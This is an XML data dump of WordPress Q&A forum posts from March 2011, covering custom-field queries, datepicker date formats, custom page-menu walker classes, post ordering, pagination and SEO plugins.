  <row Id="11051" PostTypeId="2" ParentId="11049" CreationDate="2011-03-03T17:40:39.373" Score="3" ViewCount="" Body="&lt;p&gt;To  query posts by custom fields you can use the 'meta_query' parameter &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array(&#xA;'post_type' =&amp;gt; 'payment',&#xA;'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'bookingref',&#xA;            'value' =&amp;gt; 'the_value_you_want',&#xA;            'compare' =&amp;gt; 'LIKE'&#xA;        ),&#xA;        array(&#xA;            'key' =&amp;gt; 'customerref',&#xA;            'value' =&amp;gt; 'the_value_you_want',&#xA;            'compare' =&amp;gt; 'LIKE'&#xA;        )&#xA;);&#xA;query_posts($args); while (have_posts()) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can't use get_post_meta inside the query because it gets you the value and not the key and also it accepts a Post ID to get that value of and before the query $post-&gt;id is not in the scope.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-03T17:40:39.373" CommentCount="2" />
  <row Id="11052" PostTypeId="1" AcceptedAnswerId="11150" CreationDate="2011-03-03T17:46:34.143" Score="2" ViewCount="1076" Body="&lt;p&gt;I set the jQuery Datepicker format to &lt;strong&gt;D d.m.&lt;/strong&gt; displayed as &lt;strong&gt;Th 3.3.&lt;/strong&gt; for a custom meta field that I want to use to sort posts. In SQL, the custom meta field is saved as &lt;strong&gt;D d.m.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to display the &lt;strong&gt;D d.m.&lt;/strong&gt; format on the front end and store it as mm-dd-yy or 03-03-2011 in my SQL database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My input field for the custom meta field cp_date:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;input name=&quot;&amp;lt;?php echo $result-&amp;gt;field_name; ?&amp;gt;&quot; id=&quot;&amp;lt;?php echo $result-&amp;gt;field_name; ?&amp;gt;&quot; type=&quot;text&quot; minlength=&quot;2&quot; value=&quot;&amp;lt;?php if(isset($_POST[$result-&amp;gt;field_name])) echo $_POST[$result-&amp;gt;field_name]; ?&amp;gt;&quot; autocomplete=&quot;off&quot; class=&quot;datepicker &amp;lt;?php if($result-&amp;gt;field_req) echo 'required' ?&amp;gt;&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2650" LastActivityDate="2011-03-05T17:04:24.367" Title="Convert jQuery Datepicker Format to SQL Date Format" Tags="&lt;custom-field&gt;&lt;jquery&gt;&lt;date-time&gt;&lt;datepicker&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="11053" PostTypeId="2" ParentId="10969" CreationDate="2011-03-03T17:52:15.460" Score="1" ViewCount="" Body="&lt;p&gt;Restoring a bad database would reintroduce whatever problems you had with that database. However the errors you've include sound like your install of WordPress has missing/corrupt files. I'd recommend you try deleting all the WordPress files (except the &lt;code&gt;wp-content&lt;/code&gt; directory and &lt;code&gt;wp-config.php&lt;/code&gt;) from your site, then reinstall WordPress. If you're still getting these errors after doing so, download a fresh copy of WordPress, delete the WordPress files from your site and upload the fresh copies.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-03-03T17:52:15.460" />
  <row Id="11054" PostTypeId="1" AcceptedAnswerId="11065" CreationDate="2011-03-03T17:57:44.617" Score="0" ViewCount="357" Body="&lt;p&gt;I'm trying to 'break apart', (think explode is the correct terminology), wp_list_pages in order to add some definition list code into it, (dl, dt, dd).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the html code that I'm trying to output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;nav&quot;&amp;gt;             &#xA;            &amp;lt;ul id=&quot;drop-nav&quot;&amp;gt;                 &#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;About Us&amp;lt;/a&amp;gt;&#xA;                &amp;lt;div class=&quot;subnav&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;subnavTop&quot;&amp;gt;&#xA;                            &amp;lt;ul class=&quot;subnavContent&quot;&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&#xA;                                    &amp;lt;dl&amp;gt;                                             &#xA;                                        &amp;lt;dt&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Help Desk&amp;lt;/a&amp;gt;&amp;lt;/dt&amp;gt;&#xA;                                        &amp;lt;dd&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Email your question&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;                                        &amp;lt;dd&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Text a question&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;            &#xA;                                    &amp;lt;/dl&amp;gt;                                      &#xA;                                    &amp;lt;dl&amp;gt;&#xA;                                        &amp;lt;dt&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Life stories&amp;lt;/a&amp;gt;&amp;lt;/dt&amp;gt;                                                 &#xA;                                        &amp;lt;dt&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Statistics&amp;lt;/a&amp;gt;&amp;lt;/dt&amp;gt;&#xA;                                        &amp;lt;dd&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;World Statistics&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;                                        &amp;lt;dd&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;UK Statistics&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;                                        &amp;lt;dd&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;South West Statistics&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;                                        &amp;lt;dd&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Research projects&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;                    &#xA;                                    &amp;lt;/dl&amp;gt;                                        &#xA;                                &amp;lt;/li&amp;gt;                   &#xA;                            &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;                           &#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/li&amp;gt; &#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Talk to us&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;br style=&quot;clear: left&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my current outputted html code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;nav&quot;&amp;gt;  &#xA;            &amp;lt;ul id=&quot;drop-nav&quot;&amp;gt;          &#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;About Us&amp;lt;/a&amp;gt;&#xA;                &amp;lt;div class=&quot;subnav&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;subnavTop&quot;&amp;gt;&#xA;                            &amp;lt;ul class=&quot;subnavContent&quot;&amp;gt;&#xA;                                &amp;lt;li class=&quot;page_item page-item-15&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Child of About&amp;lt;/a&amp;gt;&#xA;                                    &amp;lt;ul class='children'&amp;gt;&#xA;                                        &amp;lt;li class=&quot;page_item page-item-28&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Grandchild of About&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                    &amp;lt;/ul&amp;gt;&#xA;                                &amp;lt;/li&amp;gt;&#xA;&#xA;                            &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Talk to us&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;br style=&quot;clear: left&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is generated using the following code from within my header.php, (can't remember which site I found this on):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;nav&quot;&amp;gt;  &#xA;    &amp;lt;ul id=&quot;drop-nav&quot;&amp;gt;          &#xA;    &amp;lt;?php&#xA;    // Query the database for all top-level page IDs, and store them in the $menuPages array under the [ID] sub-array&#xA;    $menuPages = $wpdb-&amp;gt;get_results(&quot;SELECT ID FROM $wpdb-&amp;gt;posts WHERE post_parent=0 AND post_type='page' AND post_status='publish' ORDER BY menu_order ASC&quot;);&#xA;&#xA;    // For each element in the $menuPages array, get the value from the [ID]-subarray to create the top-level menu and it's children&#xA;    foreach($menuPages as $menuItem){&#xA;        $menuItemTitle = get_the_title($menuItem-&amp;gt;ID);          &#xA;        $menuItemClass = strtolower(trim($menuItemTitle));                  &#xA;        $menuItemClass = preg_replace('/[^a-z0-9-]/', '-', $menuItemClass);&#xA;        $menuItemClass = preg_replace('/-+/', &quot;-&quot;, $menuItemClass);             &#xA;        $menuItemPermalink = get_permalink($menuItem-&amp;gt;ID);&#xA;            if (isset($menuItemTitle) &amp;amp;&amp;amp; $menuItemTitle != 'Home'){                 &#xA;                _e('&amp;lt;li class=&quot;'.$menuItemClass.'&quot;&amp;gt;'.PHP_EOL);&#xA;                _e('&amp;lt;a href=&quot;'.$menuItemPermalink.'&quot;&amp;gt;'.$menuItemTitle.'&amp;lt;/a&amp;gt;'.PHP_EOL);&#xA;&#xA;            // Run wp_list_pages to fetch any children, and put the HTML &amp;lt;LI&amp;gt; list results into $menuItemChildren as a string&#xA;                $menuItemChildren = wp_list_pages('title_li=&amp;amp;echo=0&amp;amp;depth=1&amp;amp;sort_column=menu_order&amp;amp;child_of='.$menuItem-&amp;gt;ID);&#xA;&#xA;            // If results were returned, $menuItemChildren is now a string with HTML in it, so create a drop-down and echo out the HTML&#xA;                if($menuItemChildren){                      &#xA;                    _e('&amp;lt;div class=&quot;subnav&quot;&amp;gt;'.PHP_EOL);&#xA;                    _e('&amp;lt;div class=&quot;subnavTop&quot;&amp;gt;'.PHP_EOL);&#xA;                    _e('&amp;lt;ul class=&quot;subnavContent&quot;&amp;gt;'.PHP_EOL);                                   &#xA;                    echo $menuItemChildren . PHP_EOL;&#xA;                    _e('&amp;lt;/ul&amp;gt;'.PHP_EOL);&#xA;                    _e('&amp;lt;/div&amp;gt;'.PHP_EOL);&#xA;                    _e('&amp;lt;/div&amp;gt;'.PHP_EOL);                       &#xA;                }&#xA;                _e('&amp;lt;/li&amp;gt;'.PHP_EOL);            &#xA;            }&#xA;        }&#xA;    ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;br style=&quot;clear: left&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To be honest, this is confusing the life out of me. I can see that it should work, just not sure how to make it work. I somehow need to change each child page/item into a , the grandchildren into 's, all wrapped up nicely in 's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this makes sense. Any ideas/help greatly appreciated, S.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The code is being used to dynamically generate a 'mega-menu')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/*Updated Walker Class code below 08-03-11, as originally provided by wyrfel - many thanks */ &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class My_Walker_Page extends Walker {&#xA;var $tree_type = 'page';&#xA;&#xA;var $db_fields = array ('parent' =&amp;gt; 'post_parent', 'id' =&amp;gt; 'ID');&#xA;&#xA;function start_lvl(&amp;amp;$output, $depth) {&#xA;    $indent = str_repeat(&quot;\t&quot;, $depth);&#xA;    switch ($depth) {&#xA;        case 0:&#xA;            $output .= &quot;&amp;lt;div class=\&quot;subnav\&quot;&amp;gt;\n&quot;;&#xA;            $output .= &quot;&amp;lt;div class=\&quot;subnavTop\&quot;&amp;gt;\n&quot;;&#xA;            $output .= $indent.&quot;&amp;lt;ul class='subnavContent'&amp;gt;\n&quot;;&#xA;            $output .= &quot;&amp;lt;li&amp;gt;\n&amp;lt;dl&amp;gt;\n&quot;;&#xA;            break;&#xA;        case 1:                &#xA;            break;&#xA;        default:&#xA;            break;&#xA;    }&#xA;}&#xA;&#xA;function end_lvl(&amp;amp;$output, $depth) {&#xA;    $indent = str_repeat(&quot;\t&quot;, $depth);&#xA;    switch ($depth) {&#xA;        case 0:&#xA;            $output .= &quot;\n&amp;lt;/dl&amp;gt;\n&amp;lt;/li&amp;gt;\n&quot;;&#xA;            $output .= &quot;&amp;lt;/ul&amp;gt;\n&quot;;&#xA;            $output .= &quot;&amp;lt;/div&amp;gt;\n&quot;;&#xA;            $output .= &quot;&amp;lt;/div&amp;gt;\n&quot;;&#xA;            break;&#xA;        case 1:                &#xA;            break;&#xA;        default:&#xA;            break;&#xA;    }&#xA;}&#xA;&#xA;function start_el(&amp;amp;$output, $page, $depth, $args, $current_page) {&#xA;    if ( $depth )&#xA;        $indent = str_repeat(&quot;\t&quot;, $depth);&#xA;    else&#xA;        $indent = '';&#xA;&#xA;    extract($args, EXTR_SKIP);&#xA;    $css_class = array('page_item', 'page-item-'.$page-&amp;gt;ID);&#xA;    if ( !empty($current_page) ) {&#xA;        $_current_page = get_page( $current_page );&#xA;        _get_post_ancestors($_current_page);&#xA;        if ( isset($_current_page-&amp;gt;ancestors) &amp;amp;&amp;amp; in_array($page-&amp;gt;ID, (array) $_current_page-&amp;gt;ancestors) )&#xA;            $css_class[] = 'current_page_ancestor';&#xA;        if ( $page-&amp;gt;ID == $current_page )&#xA;            $css_class[] = 'current_page_item';&#xA;        elseif ( $_current_page &amp;amp;&amp;amp; $page-&amp;gt;ID == $_current_page-&amp;gt;post_parent )&#xA;            $css_class[] = 'current_page_parent';&#xA;    } elseif ( $page-&amp;gt;ID == get_option('page_for_posts') ) {&#xA;        $css_class[] = 'current_page_parent';&#xA;    }&#xA;&#xA;    $css_class = implode(' ', apply_filters('page_css_class', $css_class, $page));&#xA;&#xA;    $page_link = '&amp;lt;a href=&quot;' . get_permalink($page-&amp;gt;ID) . '&quot; title=&quot;' . esc_attr( wp_strip_all_tags( apply_filters( 'the_title', $page-&amp;gt;post_title, $page-&amp;gt;ID ) ) ) . '&quot;&amp;gt;' . $link_before . apply_filters( 'the_title', $page-&amp;gt;post_title, $page-&amp;gt;ID ) . $link_after . '&amp;lt;/a&amp;gt;';&#xA;    $top_class = strtolower(trim($page-&amp;gt;post_title));                   &#xA;    $top_class = preg_replace('/[^a-z0-9-]/', '-', $top_class);&#xA;    $top_class = preg_replace('/-+/', &quot;-&quot;, $top_class);         &#xA;&#xA;    switch ($depth) {&#xA;        case 0:&#xA;            $output .= $indent . '&amp;lt;li class=&quot;' . $top_class . '&quot;&amp;gt;'.$page_link . PHP_EOL;&#xA;            break;&#xA;        case 1:&#xA;            $output .= $indent . '&amp;lt;dt&amp;gt;'.$page_link.'&amp;lt;/dt&amp;gt;' . PHP_EOL;&#xA;            break;&#xA;        default:&#xA;            $output .= $indent . '&amp;lt;dd&amp;gt;'.$page_link.'&amp;lt;/dd&amp;gt;' . PHP_EOL;&#xA;            break;&#xA;    }&#xA;&#xA;    if ( !empty($show_date) ) {&#xA;        if ( 'modified' == $show_date )&#xA;            $time = $page-&amp;gt;post_modified;&#xA;        else&#xA;            $time = $page-&amp;gt;post_date;&#xA;        $output .= &quot; &quot; . mysql2date($date_format, $time);&#xA;    }&#xA;}&#xA;&#xA;function end_el(&amp;amp;$output, $page, $depth) {&#xA;    switch ($depth) {&#xA;        case 0:&#xA;            $output .= &quot;&amp;lt;/li&amp;gt;\n&quot;;&#xA;            break;&#xA;        case 1:&#xA;            break;&#xA;        default:&#xA;            break;&#xA;    }&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3362" LastEditorUserId="3362" LastEditorDisplayName="" LastEditDate="2011-03-08T10:16:29.020" LastActivityDate="2011-03-08T10:16:29.020" Title="Break apart wp_list_pages in order to customise it" Tags="&lt;navigation&gt;" AnswerCount="2" />
  <row Id="11055" PostTypeId="1" AcceptedAnswerId="11166" CreationDate="2011-03-03T17:59:57.627" Score="1" ViewCount="256" Body="&lt;p&gt;I'm trying to create a loop of explicity ordered posts, for example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array(&#xA;    'include'         =&amp;gt; '1,3,8,4,12' ); ?&amp;gt;&#xA;&#xA;&amp;lt;?php get_posts( $args ); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The results are ordered by date by default, and there is no orderby option to return the posts in the order they were entered. There have been multiple bug/feature requests posted about this in Trac, but so far no luck. I've mucked around in the core files a bit but haven't gotten anywhere with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest a workaround for this behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Dalton&lt;/p&gt;&#xA;" OwnerUserId="799" LastEditorUserId="65" LastEditorDisplayName="" LastEditDate="2011-03-04T17:10:53.527" LastActivityDate="2011-03-04T19:24:39.363" Title="How to return results of a get_posts() in explicitly defined order" Tags="&lt;query-posts&gt;&lt;get-posts&gt;&lt;sort&gt;&lt;custom-loop&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="1" />
  <row Id="11057" PostTypeId="1" CreationDate="2011-03-03T18:16:20.787" Score="0" ViewCount="224" Body="&lt;p&gt;I'm trying to set up pagination for the categories of my Custom Post Type 'listing', I'm using the WP-Navi plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it works for the first page which is:&#xA;localhost/clients/win/category/listings/photographers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;..but on the second page it shows as a 404 error:&#xA;localhost/clients/win/category/listings/photographers/page/2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For permalinks I'm using: /%postname%/%post_id%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I post some snippets of my code I just want to point out I've already read through the following topic that seems to have solved most peoples issues: &lt;a href=&quot;http://wordpress.org/support/topic/pagination-with-custom-post-type-listing?replies=36&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/pagination-with-custom-post-type-listing?replies=36&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$loop = custom_query_posts( array(&#xA;   'cat' =&amp;gt; get_cat_ID(single_cat_title( '', false )),&#xA;   'post_type' =&amp;gt; 'any',&#xA;   'posts_per_page' =&amp;gt; 3,&#xA;   'meta_key' =&amp;gt; 'user_type',&#xA;   'orderby' =&amp;gt; 'meta_value title',&#xA;   'order' =&amp;gt; 'ASC',&#xA;   'paged' =&amp;gt; get_query_var('paged') ? get_query_var('paged') : 1&#xA;   )&#xA;);&#xA;&#xA;while (have_posts()) : the_post();&#xA;&#xA;   // Loop content&#xA;&#xA;endwhile;&#xA;&#xA;wp_pagenavi();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;a href=&quot;http://rafaelxy.pastebin.com/VtHQEkH7&quot; rel=&quot;nofollow&quot;&gt;@rafaelxy's&lt;/a&gt; code from the above topic for the custom_query_posts(); but it doesn't seem to have made much difference :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3679" LastActivityDate="2011-03-03T18:16:20.787" Title="Problems with pagination and custom post types" Tags="&lt;custom-post-types&gt;&lt;pagination&gt;&lt;3.1&gt;&lt;plugin-wp-pagenavi&gt;" CommentCount="1" />
  <row Id="11058" PostTypeId="1" CreationDate="2011-03-03T18:18:48.990" Score="1" ViewCount="109" Body="&lt;p&gt;I want to understand how wordpress is structured in the first place with regard to search engine friendliness. Isn't it set up for SEO by default? Is the SEO plugin necessary then? and to what extent does post name in the url make a difference as against the standard numerical format of wordpress urls? &lt;/p&gt;&#xA;" OwnerUserId="3641" LastActivityDate="2011-03-03T19:02:37.913" Title="Is the SEO plugin necessary?" Tags="&lt;url-rewriting&gt;&lt;plugin-all-in-one-seo&gt;" AnswerCount="2" />
  <row Id="11059" PostTypeId="2" ParentId="11003" CreationDate="2011-03-03T18:29:16.257" Score="1" ViewCount="" Body="&lt;p&gt;Have you seen the Extend KSES plugin to allow disallowed HTML code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tierra-innovation.com/wordpress-cms/category/plugins/&quot; rel=&quot;nofollow&quot;&gt;http://tierra-innovation.com/wordpress-cms/category/plugins/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;This plugin extends the HTML functionality of the WordPress kses.php file, which states the allowable HTML that the post/page content editor will accept. It allows the site administrator to optionally enable support for currently disallowed HTML tags…&quot;&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-03-03T18:29:16.257" CommentCount="1" />
  <row Id="11060" PostTypeId="2" ParentId="10999" CreationDate="2011-03-03T18:29:57.207" Score="1" ViewCount="" Body="&lt;p&gt;include this function in your theme and use this hookfunction &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_register_theme_activation_hook($code, $function) {&#xA;    $optionKey=&quot;theme_is_activated_&quot; . $code;&#xA;    if(!get_option($optionKey)) {&#xA;        call_user_func($function);&#xA;        update_option($optionKey , 1);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;functions and examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Provides activation/deactivation hook for wordpress theme.&#xA; *&#xA; * @author Krishna Kant Sharma (http://www.krishnakantsharma.com)&#xA; *&#xA; * Usage:&#xA; * ----------------------------------------------&#xA; * Include this file in your theme code.&#xA; * ----------------------------------------------&#xA; * function my_theme_activate() {&#xA; *    // code to execute on theme activation&#xA; * }&#xA; * wp_register_theme_activation_hook('mytheme', 'my_theme_activate');&#xA; *&#xA; * function my_theme_deactivate() {&#xA; *    // code to execute on theme deactivation&#xA; * }&#xA; * wp_register_theme_deactivation_hook('mytheme', 'my_theme_deactivate');&#xA; * ----------------------------------------------&#xA; * &#xA; * &#xA; */&#xA;&#xA;/**&#xA; *&#xA; * @desc registers a theme activation hook&#xA; * @param string $code : Code of the theme. This can be the base folder of your theme. Eg if your theme is in folder 'mytheme' then code will be 'mytheme'&#xA; * @param callback $function : Function to call when theme gets activated.&#xA; */&#xA;function wp_register_theme_activation_hook($code, $function) {&#xA;    $optionKey=&quot;theme_is_activated_&quot; . $code;&#xA;    if(!get_option($optionKey)) {&#xA;        call_user_func($function);&#xA;        update_option($optionKey , 1);&#xA;    }&#xA;}&#xA;&#xA;/**&#xA; * @desc registers deactivation hook&#xA; * @param string $code : Code of the theme. This must match the value you provided in wp_register_theme_activation_hook function as $code&#xA; * @param callback $function : Function to call when theme gets deactivated.&#xA; */&#xA;function wp_register_theme_deactivation_hook($code, $function) {&#xA;    // store function in code specific global&#xA;    $GLOBALS[&quot;wp_register_theme_deactivation_hook_function&quot; . $code]=$function;&#xA;&#xA;    // create a runtime function which will delete the option set while activation of this theme and will call deactivation function provided in $function&#xA;    $fn=create_function('$theme', ' call_user_func($GLOBALS[&quot;wp_register_theme_deactivation_hook_function' . $code . '&quot;]); delete_option(&quot;theme_is_activated_' . $code. '&quot;);');&#xA;&#xA;    // add above created function to switch_theme action hook. This hook gets called when admin changes the theme.&#xA;    // Due to wordpress core implementation this hook can only be received by currently active theme (which is going to be deactivated as admin has chosen another one.&#xA;    // Your theme can perceive this hook as a deactivation hook.&#xA;    add_action(&quot;switch_theme&quot;, $fn);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for more information see &lt;a href=&quot;http://www.krishnakantsharma.com/2011/01/activationdeactivation-hook-for-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-03-03T18:29:57.207" />
  <row Id="11061" PostTypeId="2" ParentId="11041" CreationDate="2011-03-03T18:41:17.340" Score="1" ViewCount="" Body="&lt;p&gt;Check &lt;code&gt;$GLOBALS['wp_scripts']-&amp;gt;registered&lt;/code&gt; for scripts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function is_enqueued_script( $script )&#xA;{&#xA;    return isset( $GLOBALS['wp_scripts']-&amp;gt;registered[ $script ] );&#xA;}&#xA;&#xA;print (int) is_enqueued_script( 'l10n' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$GLOBALS['wp_styles']-&amp;gt;registered&lt;/code&gt; works the same way.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-03T18:41:17.340" CommentCount="4" />
  <row Id="11062" PostTypeId="2" ParentId="11058" CreationDate="2011-03-03T18:54:19.940" Score="1" ViewCount="" Body="&lt;p&gt;I would personally say that it is if you're not willing to build it into your site by hard-coding it in. Wordpress has several limitations when it comes to SEO. For example, the post slugs (used in the URLs) include extra words like and, the, a, etc. This makes the URLs very long an non-search engine friendly. Having the post title in the page title gives you more terms for the search engine to base its search off of. The post names in the URL provides the same effect and are much more user friendly as well.&lt;/p&gt;&#xA;" OwnerUserId="1333" LastActivityDate="2011-03-03T18:54:19.940" />
  <row Id="11063" PostTypeId="2" ParentId="10999" CreationDate="2011-03-03T18:58:41.830" Score="0" ViewCount="" Body="&lt;p&gt;While this is quite possible technically I think this is poor workflow. Basically there are two cases here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Theme entirely cannot function without specific plugin(s). I think it is unwanted case overall and if absolutely required it makes sense to port plugin's functionality into theme itself.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Theme makes use of plugins for advanced features. It is not hard to detect if plugin is running (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_plugin_active&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_plugin_active()&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;http://php.net/manual/en/function.function-exists.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;function_exists()&lt;/code&gt;&lt;/a&gt;, etc) and conditionally run code or notify that specific feature uses plugin and not natively available.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-03T18:58:41.830" />
  <row Id="11064" PostTypeId="2" ParentId="11058" CreationDate="2011-03-03T19:02:37.913" Score="1" ViewCount="" Body="&lt;p&gt;The main purpose of SEO plugin is to give you more control over SEO-related factors (titles, excerpts, meta tags and so on). It doesn't do anything magical, just an editor to let you fine-tune beyond native WP capabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So necessity equals if and how much of those aspects you are willing to spend time on.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;and to what extent does post name in the url make a difference as against the standard numerical format of wordpress urls?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is considerable factor. URL is important place for determining what page is about by search engines.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-03T19:02:37.913" CommentCount="3" />
  <row Id="11065" PostTypeId="2" ParentId="11054" CreationDate="2011-03-03T19:11:16.143" Score="1" ViewCount="" Body="&lt;p&gt;This is one of those question where solid answer is not an easy one to follow. This function is powered by &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/post-template.php#L958&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Walker_Page&lt;/code&gt;&lt;/a&gt; class and you can replace it with your own walker (extended from &lt;code&gt;Walker_Page&lt;/code&gt; or just &lt;code&gt;Walker&lt;/code&gt;) by passing its name in &lt;code&gt;walker&lt;/code&gt; argument to &lt;code&gt;wp_list_pages()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell it is very highly flexible way to do it, but not very convenient and easy to grasp, especially when not messing with walkers regularly.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-03T19:11:16.143" CommentCount="2" />
